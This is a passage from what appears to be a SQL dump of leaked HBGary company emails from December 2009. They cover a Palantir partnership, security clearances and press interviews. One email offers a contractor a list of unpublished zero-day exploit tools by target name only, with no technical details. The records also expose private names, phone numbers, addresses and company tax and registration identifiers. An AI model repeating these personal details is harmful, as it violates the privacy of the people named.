iPhone\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>\r\n\r\n',12204,'aaron_hbgary_com/12204.html'),(794,'2009-12-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000065.M355083P3547Q795.eml','all@hbgary.com','Today\'s Wall Street Journal - FBI Probes Hack at Citibank','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nCheck out today&#8217;s Wall Street Journal\r\n\r\n&#8220;FBI\r\nProbes Hack at Citibank.&nbsp; Russian\r\nCyber Gang Suspected of Stealing Tens of Millions; Bank Denies Breach&#8221;\r\n\r\nhttp://online.wsj.com/article/SB126145280820801177.html?mod=WSJ_hpp_MIDDLENexttoWhatsNewsTop\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4408,'aaron_hbgary_com/4408.html'),(795,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000065.M565567P3547Q796.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,','Re: Palantir partnership','Ok that&#39;s what I want to talk about.  Can we set up a teleconference?AaronFrom my iPhoneOn Dec 22, 2009, at 1:15 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nNot necessarily, they are integrating with HBGary, not HBGary\r\nFederal since we are having to do integration.  HBGary Federal will sell that\r\nintegration and use it but if is effects the software it should be under HBGary\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 22, 2009 7:25 AM\r\nTo: Greg Hoglund; Penny Leavy\r\nCc: Ted Vera\r\nSubject: Fwd: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nFYI.  Partnership agreement with Palantir.  First\r\nglaring correction is to change HBGary to HBGary Federal.  Reviewing the\r\nrest now.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nMatthew\r\nSteckman &lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nDecember\r\n21, 2009 6:01:57 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nPalantir partnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAttached is our official partnership paperwork to start\r\nintegration work for EOP (and potentially many other places).  Please\r\nreturn a redlined copy or a signed agreement.  You’ll notice that this is\r\na free deal if the integration is performed within 60 days of signing the\r\nagreement.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLooking forward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15607,'aaron_hbgary_com/15607.html'),(796,'2009-12-22','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000065.M6091P3547Q794.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir partnership','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNot necessarily, they are integrating with HBGary, not HBGary\r\nFederal since we are having to do integration.&nbsp; HBGary Federal will sell that\r\nintegration and use it but if is effects the software it should be under HBGary\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 22, 2009 7:25 AM\r\nTo: Greg Hoglund; Penny Leavy\r\nCc: Ted Vera\r\nSubject: Fwd: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFYI. &nbsp;Partnership agreement with Palantir. &nbsp;First\r\nglaring correction is to change HBGary to HBGary Federal. &nbsp;Reviewing the\r\nrest now.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nMatthew\r\nSteckman &lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nDecember\r\n21, 2009 6:01:57 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nPalantir partnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached is our official partnership paperwork to start\r\nintegration work for EOP (and potentially many other places).&nbsp; Please\r\nreturn a redlined copy or a signed agreement. &nbsp;You&#8217;ll notice that this is\r\na free deal if the integration is performed within 60 days of signing the\r\nagreement.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13861,'aaron_hbgary_com/13861.html'),(797,'2009-12-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000065.M743010P3547Q797.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','ARSTRAT','My contact at Army Strategic Command is going to try to sponsor HBGary Federal&#39;s DOD facility security clearance.  I just sent him the sponsor letter.  I&#39;ll keep you posted on his progress.Ted\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',11577,'aaron_hbgary_com/11577.html'),(798,'2009-12-22','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000065.M917032P3547Q798.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: ARSTRAT','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIf we have facility clearance from NG do we need another?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, December 22, 2009 12:12 PM\r\nTo: Barr Aaron; Greg Hoglund; Penny Leavy\r\nSubject: ARSTRAT\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMy contact at Army Strategic Command is going to try to\r\nsponsor HBGary Federal\'s DOD facility security clearance. &nbsp;I just sent him\r\nthe sponsor letter. &nbsp;I\'ll keep you posted on his progress.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13516,'aaron_hbgary_com/13516.html'),(799,'2009-12-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000066.M120843P3547Q799.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,','Re: ARSTRAT','Yes.  The one from NG is for the Intelligence Community.  The one from ARSTRAT is for the DOD. TedOn Tue, Dec 22, 2009 at 1:16 PM, Penny Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf we have facility clearance from NG do we need another?\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, December 22, 2009 12:12 PM\r\nTo: Barr Aaron; Greg Hoglund; Penny Leavy\r\nSubject: ARSTRAT\r\n\r\n\r\n\r\n \r\n\r\nMy contact at Army Strategic Command is going to try to\r\nsponsor HBGary Federal&#39;s DOD facility security clearance.  I just sent him\r\nthe sponsor letter.  I&#39;ll keep you posted on his progress.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',1685,'aaron_hbgary_com/1685.html'),(800,'2009-12-22','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000066.M320298P3547Q800.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: ARSTRAT','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOh so complicatedJ\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, December 22, 2009 12:18 PM\r\nTo: Penny Hoglund\r\nCc: Barr Aaron; Greg Hoglund\r\nSubject: Re: ARSTRAT\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes. &nbsp;The one from NG is for the Intelligence\r\nCommunity. &nbsp;The one from ARSTRAT is for the DOD.&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Tue, Dec 22, 2009 at 1:16 PM, Penny Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nIf we have facility clearance from NG do\r\nwe need another?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted\r\nVera [mailto:ted@hbgary.com]\r\n\r\nSent: Tuesday, December 22, 2009 12:12 PM\r\nTo: Barr Aaron; Greg Hoglund; Penny Leavy\r\nSubject: ARSTRAT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMy\r\ncontact at Army Strategic Command is going to try to sponsor HBGary Federal\'s\r\nDOD facility security clearance. &nbsp;I just sent him the sponsor letter.\r\n&nbsp;I\'ll keep you posted on his progress.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1178,'aaron_hbgary_com/1178.html'),(801,'2009-12-22','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000066.M674079P3547Q801.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir partnership','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, what works for you?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 22, 2009 11:23 AM\r\nTo: Penny Hoglund\r\nCc: Greg Hoglund; Ted Vera\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk that\'s what I want to talk about. &nbsp;Can we set up a\r\nteleconference?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 22, 2009, at 1:15 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot\r\nnecessarily, they are integrating with HBGary, not HBGary Federal since we are\r\nhaving to do integration.&nbsp; HBGary Federal will sell that integration and\r\nuse it but if is effects the software it should be under HBGary\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 22, 2009 7:25 AM\r\nTo: Greg Hoglund; Penny Leavy\r\nCc: Ted Vera\r\nSubject: Fwd: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFYI.\r\n&nbsp;Partnership agreement with Palantir. &nbsp;First glaring correction is to\r\nchange HBGary to HBGary Federal. &nbsp;Reviewing the rest now.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin\r\nforwarded message:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Matthew Steckman\r\n&lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate: December 21, 2009\r\n6:01:57 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject: Palantir\r\npartnership\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached\r\nis our official partnership paperwork to start integration work for EOP (and\r\npotentially many other places).&nbsp; Please return a redlined copy or a signed\r\nagreement. &nbsp;You&#8217;ll notice that this is a free deal if the integration is\r\nperformed within 60 days of signing the agreement.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooking\r\nforward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',593,'aaron_hbgary_com/593.html'),(802,'2009-12-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000066.M871296P3547Q802.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>','Re: Palantir partnership','How about now?  Teds busy for a bit but I think we can cover it.Aaron  From my iPhoneOn Dec 22, 2009, at 2:31 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nOK, what works for you?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 22, 2009 11:23 AM\r\nTo: Penny Hoglund\r\nCc: Greg Hoglund; Ted Vera\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOk that&#39;s what I want to talk about.  Can we set up a\r\nteleconference?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 22, 2009, at 1:15 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot\r\nnecessarily, they are integrating with HBGary, not HBGary Federal since we are\r\nhaving to do integration.  HBGary Federal will sell that integration and\r\nuse it but if is effects the software it should be under HBGary\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, December 22, 2009 7:25 AM\r\nTo: Greg Hoglund; Penny Leavy\r\nCc: Ted Vera\r\nSubject: Fwd: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nFYI.\r\n Partnership agreement with Palantir.  First glaring correction is to\r\nchange HBGary to HBGary Federal.  Reviewing the rest now.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBegin\r\nforwarded message:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nFrom: Matthew Steckman\r\n&lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate: December 21, 2009\r\n6:01:57 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Palantir\r\npartnership\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAttached\r\nis our official partnership paperwork to start integration work for EOP (and\r\npotentially many other places).  Please return a redlined copy or a signed\r\nagreement.  You’ll notice that this is a free deal if the integration is\r\nperformed within 60 days of signing the agreement.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLooking\r\nforward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13405,'aaron_hbgary_com/13405.html'),(803,'2009-12-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000068.M953378P3547Q803.eml','\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Tools','Hi Ben,Below is the information you requested and attached is a facility security clearance sponsor letter.  If you fill this out and submit to DSS it will enable us to provide classified support to your contracts.  (This is not for sponsoring a SCIF, it would just allow us to have classified discussions and provide on-site classified support as needed).\r\nHBGary Federal, LLC\r\n\r\nDUNS:  832950831CAGE:  5U1U6\r\n\r\n\r\n\r\n\r\nEIN:  27-1485507Hope you have a happy holiday!TedOn Tue, Dec 15, 2009 at 1:02 PM, Wilson, Ben N. &lt;Ben.Wilson@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreetings Ted,\r\n\r\n \r\n\r\nThank you again for coming to our facility and meeting with us.\r\n\r\n \r\n\r\nWhen you have time, please send Company ID, Tax ID, etc. so I can\r\nforward to contracts to get you on the approved vendor list.\r\n\r\n \r\n\r\nThanks,\r\n\r\nBen Wilson\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, December 15, 2009 11:58 AM\r\nTo: Wilson, Ben N.\r\nSubject: Tools\r\n\r\n\r\n\r\n \r\n\r\nHi Ben,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIt was great meeting you again.  Below is a list of the\r\ncurrent unpublished 0-day tools that we have on the shelf.  You mentioned\r\ninterest in the VMWare tool, so I&#39;ve attached a summary description.\r\n Please let me know if you are interested in any of the other tools, or if\r\nyou have further questions.\r\n\r\n\r\n\r\n\r\n\r\n·         VMware ESX and ESXi *\r\n\r\n·         Win2K3 Terminal\r\nServices\r\n\r\n·         Win2K3 MSRPC\r\n\r\n·         Solaris 10 RPC\r\n\r\n·         Adobe Flash *\r\n\r\n·         Sun Java *\r\n\r\n·         Win2k Professional\r\n&amp; Server\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',11968,'aaron_hbgary_com/11968.html'),(804,'2009-12-22','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000069.M220594P3547Q804.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: GCN Story On Enduser IT SecurityTraining','Hi Aaron, John could interview you on Tuesday Dec. 29th&nbsp;between 8 AM- 11 AM ET. Is there a time that would be convenient for you? I can&nbsp;be on the call too if you like. Best, Karen&nbsp;&nbsp;&nbsp;&nbsp;--- On Tue, 12/22/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTrainingTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Tuesday, December 22, 2009, 11:07 AM\r\n\r\nI am on vacation in illinois but I can do am interview just let me know the time.\r\n\r\nAaronFrom my iPhone\r\nOn Dec 22, 2009, at 12:59 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I secured an interview with you and GCN editor John Moore for this story below. He wanted to see if you would be available next Monday, Dec. 28th&nbsp;or Tuesday, Dec. 29th -- are you working next week? I know the timing is tought due to holiday. If you aren\'t available, &nbsp;I can see if he&nbsp;could it the week of Jan. 4th. \r\n&nbsp;\r\nI would prepare a briefing sheet for the interview i.e. background on publication, author, etc. Best, Karen&nbsp;--- On Sun, 12/20/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: GCN Story On Enduser IT SecurityTrainingTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Sunday, December 20, 2009, 7:29 PM\r\nHi Karen, \r\n\r\nSorry for delay. &nbsp;I am sure I can address training in an interview although its not my primary strong suite. &nbsp;I have spent a lot of time at the national CERTS over the last few years and can tell you that training in any measurable way just isn\'t happening. &nbsp;For those organizations that have periodic training, its just a check box, there is no associated metrics to follow the progress or adherence of the trainees to the training. &nbsp;Anyway I can provide a lot more information if needed.\r\n\r\nCertifications I think are the most used measure of an IT security professionals skill level. &nbsp;In some cases their may be some positional OJT and associated certification and that may come with a periodic review but that is the most I have seen, and thats rare.\r\n\r\nBut u mentioned end user security training. &nbsp;Thats even worse. &nbsp;Best you see is periodic refresher training with a multiple choice quiz that usually lets you reselect your answers after you get them wrong.\r\n\r\nIT Security training just has not been taken seriously enough. &nbsp;In the classified world you are trained on the proper methods and procedures for taking care of classified information, and if you mishandle classified information, depending on the severity you can get your clearance revoked and loose your job. &nbsp;This doesn\'t happen for IT security, even though what can be lost by a single employee improperly using their organizations IT systems can be just as damaging to the organization.\r\n\r\nImpact of training can be measured, when paired with penetration and vulnerability assessements, on the hardened state of the systems. &nbsp;How many user names and passwords could a pen tester acquire. &nbsp;How many systems could they penetrate. &nbsp;Conduct training and then a few months later retest the organizations security posture. &nbsp;That is one of the only true ways to measure success in the IT security world.\r\n\r\nIn the future I believe one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine. &nbsp;The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes. &nbsp;These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 18, 2009, at 11:53 AM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Government Computer News&nbsp;editor John Moore is writing a&nbsp;security feature for the Jan. 25 issue on the&nbsp;topic&nbsp;of end user IT security training. For example, the story will discuss how organizations measure the impact of training and whether employees are following through (adhering to agency security policies.)\r\n&nbsp;\r\nIs this a topic you could address in an interview? If so, please provide a few quick bullet points that I could share with the writer to possibly secure an interview.\r\n&nbsp;\r\nThanks Aaron. Best, Karen\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',545,'aaron_hbgary_com/545.html'),(805,'2009-12-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000069.M442470P3547Q805.eml','\"Barr Aaron\" <aaron@hbgary.com>','DRM?','\r\nIn the future I believe one of the answers to the security dilemma is Digital Rights Management (DRM) capability on every machine.  The DRM applications will monitor the health and status, including security posture for the system and will have the ability to lock down or move services if the security state changes.  These sensors will monitor activity on the systems and network for anything that looks suspicious.\r\nI&#39;m not sure I follow you on this point.  DRM is for protecting data (text, audio, video, etc).  I don&#39;t know of any DRM applications that monitor health and status, or security posture. \r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',2570,'aaron_hbgary_com/2570.html'),(806,'2009-12-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000069.M648082P3547Q806.eml','msteckman@palantirtech.com,james.mitcham@unisys.com,msteckman@palantirtech.com','CIMS - Palantir Introduction','Hi Matt,\r\nJim Mitcham (cc\'d) is the CIMS PM with Unisys (the prime).  I gave Jim\r\na quick introduction of Palantir capabilities earlier today.  Do you\r\nhave an executive summary capability brief or product paper you can\r\nsend to him?  I\'ve included both of your contact information below.\r\n\r\nJim Mitcham\r\nPractice Director\r\nCDC\r\n404-639-7383 Office\r\n404-483-1099 Mobile\r\njames.mitcham@unisys.com\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\nRegards,\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',2134,'aaron_hbgary_com/2134.html'),(807,'2009-12-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000069.M833616P3547Q807.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Tools','I am curious how Ben will respond - but I thought it was worth a shot.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Tue, Dec 22, 2009 at 2:18 PM\r\nSubject: Re: Tools\r\nTo: \"Wilson, Ben N.\" , Barr Aaron \r\n\r\n\r\nHi Ben,\r\nBelow is the information you requested and attached is a facility\r\nsecurity clearance sponsor letter.  If you fill this out and submit to\r\nDSS it will enable us to provide classified support to your contracts.\r\n (This is not for sponsoring a SCIF, it would just allow us to have\r\nclassified discussions and provide on-site classified support as\r\nneeded).\r\nHBGary Federal, LLC\r\n\r\nDUNS:  832950831\r\n\r\nCAGE:  5U1U6\r\n\r\nEIN:  27-1485507\r\nHope you have a happy holiday!\r\nTed\r\n\r\n\r\n\r\nOn Tue, Dec 15, 2009 at 1:02 PM, Wilson, Ben N.  wrote:\r\n>\r\n> Greetings Ted,\r\n>\r\n>\r\n>\r\n> Thank you again for coming to our facility and meeting with us.\r\n>\r\n>\r\n>\r\n> When you have time, please send Company ID, Tax ID, etc. so I can forward to contracts to get you on the approved vendor list.\r\n>\r\n>\r\n>\r\n> Thanks,\r\n>\r\n> Ben Wilson\r\n>\r\n>\r\n>\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tuesday, December 15, 2009 11:58 AM\r\n> To: Wilson, Ben 